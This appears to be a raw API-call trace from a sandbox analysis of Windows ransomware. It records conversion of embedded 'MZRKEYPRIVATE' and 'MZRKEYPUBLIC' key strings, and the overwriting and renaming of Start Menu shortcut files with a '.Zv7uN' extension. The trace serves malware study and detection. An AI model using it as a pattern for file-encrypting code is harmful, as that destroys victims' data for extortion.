wcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0129.448] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f0e5cc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0129.450] GetCurrentThreadId () returned 0xa30 [0129.450] GetCurrentThreadId () returned 0xa30 [0129.450] GetCurrentThreadId () returned 0xa30 [0129.450] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0129.450] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f1f62c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0129.451] GetCurrentThreadId () returned 0xa30 [0129.451] GetCurrentThreadId () returned 0xa30 [0129.451] GetCurrentThreadId () returned 0xa30 [0129.451] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Control Panel.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\control panel.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0129.451] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0129.451] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0129.451] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x106 [0129.452] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0129.452] ReadFile (in: hFile=0x1dc, lpBuffer=0x1f27430, nNumberOfBytesToRead=0x106, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1f27430*, lpNumberOfBytesRead=0x18f108*=0x106, lpOverlapped=0x0) returned 1 [0129.454] CloseHandle (hObject=0x1dc) returned 1 [0129.454] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Control Panel.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\control panel.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0129.457] WriteFile (in: hFile=0x1dc, lpBuffer=0x1f29460*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f29460*, lpNumberOfBytesWritten=0x18f114*=0x106, lpOverlapped=0x0) returned 1 [0129.459] CloseHandle (hObject=0x1dc) returned 1 [0129.459] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Control Panel.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\control panel.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Control Panel.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\control panel.lnk.zv7un")) returned 1 [0129.461] GetCurrentThreadId () returned 0xa30 [0129.461] GetCurrentThreadId () returned 0xa30 [0129.461] GetCurrentThreadId () returned 0xa30 [0129.461] GetCurrentThreadId () returned 0xa30 [0129.461] GetCurrentThreadId () returned 0xa30 [0129.461] GetCurrentThreadId () returned 0xa30 [0129.461] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d7ae880, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0129.461] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0129.461] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0129.462] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d7ae880, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x5df, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Internet Explorer (No Add-ons).lnk", cAlternateFileName="INTERN~1.LNK")) returned 1 [0129.462] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0129.462] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0129.462] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Internet Explorer (No Add-ons).lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\internet explorer (no add-ons).lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d7ae880, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x5df)) returned 1 [0129.463] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Internet Explorer (No Add-ons).lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\internet explorer (no add-ons).lnk")) returned 0x20 [0129.463] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Internet Explorer (No Add-ons).lnk", dwFileAttributes=0x80) returned 1 [0129.465] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0129.465] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/Cmhxs